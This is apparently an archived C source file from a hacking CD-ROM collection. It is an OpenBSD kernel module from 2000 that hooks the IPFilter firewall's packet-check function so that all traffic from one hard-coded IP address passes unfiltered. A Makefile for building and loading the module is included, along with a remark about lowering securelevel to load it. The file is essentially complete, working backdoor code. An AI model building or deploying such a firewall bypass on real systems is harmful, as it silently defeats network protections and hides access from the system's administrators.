home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / obsd_ipfhack.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  2.8 KB  |  159 lines

  1. /*
  2.  * Name: Filtering IpFilter ( OpenBSD Version + Makefile in append )
  3.  * Date: May 23 04:06:37 2000
  4.  * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
  5.  *
  6.  * SoftProject Digital Security for Y2K
  7.  * Sikurezza.org Italian Security Mailing List
  8.  *
  9.  * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
  10.  * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
  11.  *
  12.  * Tested on: OpenBSD 2.6 kern#0 i386
  13.  *
  14.  * read ipfhack.c ( FreeBSD Version ) for information on how this works
  15.  *
  16.  * Note if you want to use this probably you have to modify securelevel...
  17.  * (/etc/rc.securelevel) in order to load it in memory...
  18.  *
  19.  * Greetings to: Grace Slick - I love you ! :*
  20.  *          Bob Dylan - Tomorrow is your birthday ... yeah!
  21.  *                   and for his tour in Italy :)
  22.  * 
  23.  */
  24.  
  25. #define GO_JOHNNY_GO    "192.168.1.3" 
  26. /* packets sent by this ip will pass ! */
  27.  
  28. #include <sys/param.h>
  29. #include <sys/systm.h>
  30. #include <sys/conf.h>
  31. #include <sys/exec.h>
  32. #include <sys/lkm.h>
  33. #include <sys/errno.h>
  34.  
  35. #include <sys/proc.h>
  36.  
  37. #include <sys/mbuf.h>
  38. #include <sys/socket.h>
  39. #include <sys/socketvar.h>
  40. #include <netinet/in.h>
  41. #include <netinet/in_systm.h>
  42. #include <netinet/ip.h>
  43. #include <netinet/ip_var.h>
  44.  
  45.  
  46. typedef    struct     ip    ip_t;
  47. typedef struct     mbuf    mb_t;
  48. typedef int    ipfr_t    __P((ip_t *, int, void *, int, mb_t **));
  49.  
  50. static    ipfr_t    myfr, *fr;
  51. extern    ipfr_t    *fr_checkp;
  52.  
  53. static u_int32_t    inaton    __P((const char *));
  54.  
  55. static int
  56. myfr(ip_t *ip, int hlen, void *ifp, int out, mb_t **mp)
  57. {
  58.     if(ip->ip_src.s_addr == inaton(GO_JOHNNY_GO))
  59.         return 0;
  60.     
  61.     return(fr(ip, hlen, ifp, out, mp));
  62. }
  63.  
  64. MOD_MISC("IpFil");
  65.  
  66. static int
  67. IpFil_load(struct lkm_table *lkmtp, int cmd)
  68. {
  69.     if(cmd == LKM_E_LOAD) {
  70.         int s = splnet();
  71.         
  72.         printf("Filtering iPFilter\n");
  73.         printf("(c) Coffeeware - SoftProject Y2k\n");
  74.         printf("pIGpEN / s0ftpj\n");
  75.         fr = fr_checkp;
  76.         fr_checkp = myfr;
  77.         
  78.         splx(s);
  79.     }
  80.  
  81.     return 0;
  82. }
  83.  
  84.  
  85. static int
  86. IpFil_unload(struct lkm_table *lkmtp, int cmd)
  87. {
  88.     if(cmd == LKM_E_UNLOAD) {
  89.         int s = splnet();
  90.         
  91.         printf("iPFilter unloaded\n");
  92.         fr_checkp = fr;
  93.  
  94.         splx(s);
  95.     }
  96.  
  97.     return 0;
  98. }
  99.  
  100.  
  101. IpFil( lkmtp, cmd, ver)
  102. struct lkm_table    *lkmtp;    
  103. int            cmd;
  104. int            ver;
  105. {
  106.     DISPATCH(lkmtp, cmd, ver, IpFil_load, IpFil_unload, lkm_nofunc);
  107. }
  108.  
  109.  
  110. static u_int32_t 
  111. inaton(const char *str)
  112. {
  113.     unsigned long l;
  114.     unsigned int val;
  115.     int i;
  116.  
  117.     l = 0;
  118.  
  119.     for(i=0; i < 4; i++) {
  120.         l <<= 8;
  121.         if(*str != '\0') {
  122.             val = 0;
  123.             while(*str != '\0' && *str != '.') {
  124.                 val *= 10;
  125.                 val += *str - '0';
  126.                 str++;
  127.             }
  128.             l |= val;
  129.             if(*str != '\0')
  130.                 str++;
  131.         }
  132.     }
  133.     return(htonl(l));
  134. }
  135.  
  136. /*
  137. SRCS=obsd_ipfhack.c
  138. OBJS=$(SRCS:.c=.o)
  139.  
  140. MODOBJ=IpFil.o
  141.  
  142. KMOD=IpFil
  143. CFLAGS+= -D_KERNEL -I/sys
  144.  
  145. all:    $(MODOBJ)
  146.  
  147. clean:
  148.     rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD)
  149.  
  150. load:
  151.     modload -o $(KMOD) -e$(KMOD) $(MODOBJ)
  152.  
  153. unload:
  154.     modunload -n $(KMOD)
  155.  
  156. $(MODOBJ): $(OBJS) $(KOBJS)
  157.     $(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS)
  158. */
  159.